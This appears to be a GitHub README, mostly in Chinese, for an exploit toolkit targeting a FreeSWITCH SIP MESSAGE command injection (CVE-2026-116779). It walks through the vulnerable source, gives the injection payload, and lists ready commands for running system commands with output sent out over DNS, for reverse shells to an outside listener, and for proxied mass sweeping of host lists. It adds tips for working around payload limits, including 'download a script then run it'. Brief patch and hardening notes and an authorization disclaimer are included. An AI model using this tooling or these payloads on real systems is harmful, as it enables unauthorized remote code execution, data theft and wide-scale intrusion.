Detection and exploitation toolkit for the FreeSWITCH SIP MESSAGE command injection (CVE-2026-116779), with API execution, DNS OAST shell output, reverse shells, and host sweeping.
English | 简体中文
针对 CVE-2026-116779 的检测与利用工具:FreeSWITCH 处理入站 SIP
MESSAGE 时可被诱导选用 api chat 协议,进而触达
switch_api_execute(),形成未授权命令执行。
CVE CVE-2026-116779(GHSA-mg63-h38w-8p9p)
类型 CWE-78 操作系统命令注入
CVSS 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
影响 FreeSWITCH < 1.11.3
修复 1.11.3(新增 enable-chat-api-proto 开关,默认关闭,命中回 403)
仅可用于自有资产或已获明确授权的测试环境。
sofia_presence_handle_sip_i_message() 把入站 MESSAGE 的 To 用户部分
按 + 切开,左侧直接当作 chat 协议名,没有任何白名单:
/* sofia_presence.c:4869-4877 */
if ((p = strchr(to_user, '+')) && p != to_user) {
switch_copy_string(proto, to_user, sizeof(proto)); /* char proto[512] */
p = strchr(proto, '+');
*p++ = '\0'; /* proto = "api" */
}
/* sofia_presence.c:5013 */
switch_core_chat_send(proto, event);
mod_dptools 注册了名为 api 的 chat 接口,其处理函数把剩余地址做 URL 解码
后交给 FreeSWITCH API 调度器:
/* mod_dptools.c:6486 */
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
/* mod_dptools.c:4700-4707 */
switch_url_decode(cmd);
if ((arg = strchr(cmd, ' '))) *arg++ = '\0';
switch_api_execute(cmd, arg, NULL, &stream);
因此下面这一条报文,等价于以守护进程身份执行 system id:
To: <sip:api+system%20id@target>
git clone https://github.com/hackzuoji/freeswitch-cve-2026-116779-POC.git
cd fscve
pip install -e .
运行时无第三方依赖,仅用标准库。
# 检测
fscve detect -t 10.0.0.5
fscve detect -t 10.0.0.5:5080 --udp
fscve detect -t 10.0.0.5 --user 1000 --password 1234 --json
# 执行 FreeSWITCH API
fscve api -t 10.0.0.5 --user 1000 --password 1234 "sofia status profile internal"
# 执行系统命令并回读输出(hex 编码走 DNS 标签)
fscve shell -t 10.0.0.5 --user 1000 --password 1234 "id"
fscve shell -t 10.0.0.5 --zone abc123.your-oast.example "hostname"
# 反连(bash / nc / python3 三引擎分三条消息发送)
fscve rev -t 10.0.0.5 --user 1000 --password 1234 203.0.113.9:4444
# 批量
fscve sweep -f hosts.txt --workers 16 --out results.jsonl
fscve sweep -f hosts.txt --proxy socks5://user:[email protected]:1080
判定值:ACCEPTED(api 协议可达,需带外确认执行)、PATCHED(403 已修复)、
AUTH-REQ(需要 digest 凭据)、UNREACHABLE(无响应)。
四条约束,均在真实 1.10.x 上验证过:
+ 会被改写:mod_sofia 会把 To 用户里第一个残留的 + 变成 @,
所以命令中的 + 必须编码为 %2B;空格必须是 %20,
因为 switch_url_decode() 不把 + 当空格。char proto[512]:To 用户被拷进 512 字节缓冲区并静默截断,
整条编码后命令需控制在约 500 字节内(MAX_TO_USER)。
长任务请拆成"先下载脚本再执行"两步。echo a; echo b | od 会丢掉 a。
命令和退出码必须先用子 shell 包起来再接管道:
( cmd ; echo " rc=$?" ) | od ...。head -c 28。另外:switch_core_chat_send() 是异步入队(CHAT_MAX_MSG_QUEUE=101,
线程按需扩容),sofia 立刻回 202。所以 2xx 不能证明命令执行,
只有带外回调算数;"注入 sleep 再测下一条"的时间差方法同样无效。
fscve detect 在 1.11.3+ 上返回 PATCHED(403)。Profile [name] rejected a MESSAGE from ... addressed to the 'api' chat proto [...]enable-chat-api-proto 保持关闭;不要设置 disable-auth-messages。1000–1019 / 1234)。<param name="enable-chat" value="false"/>。python -m pytest
全部离线运行,依赖 tests/mock_freeswitch.py(实现了 401 挑战、digest 校验
与 api+ 执行桩)。
MIT,见 LICENSE。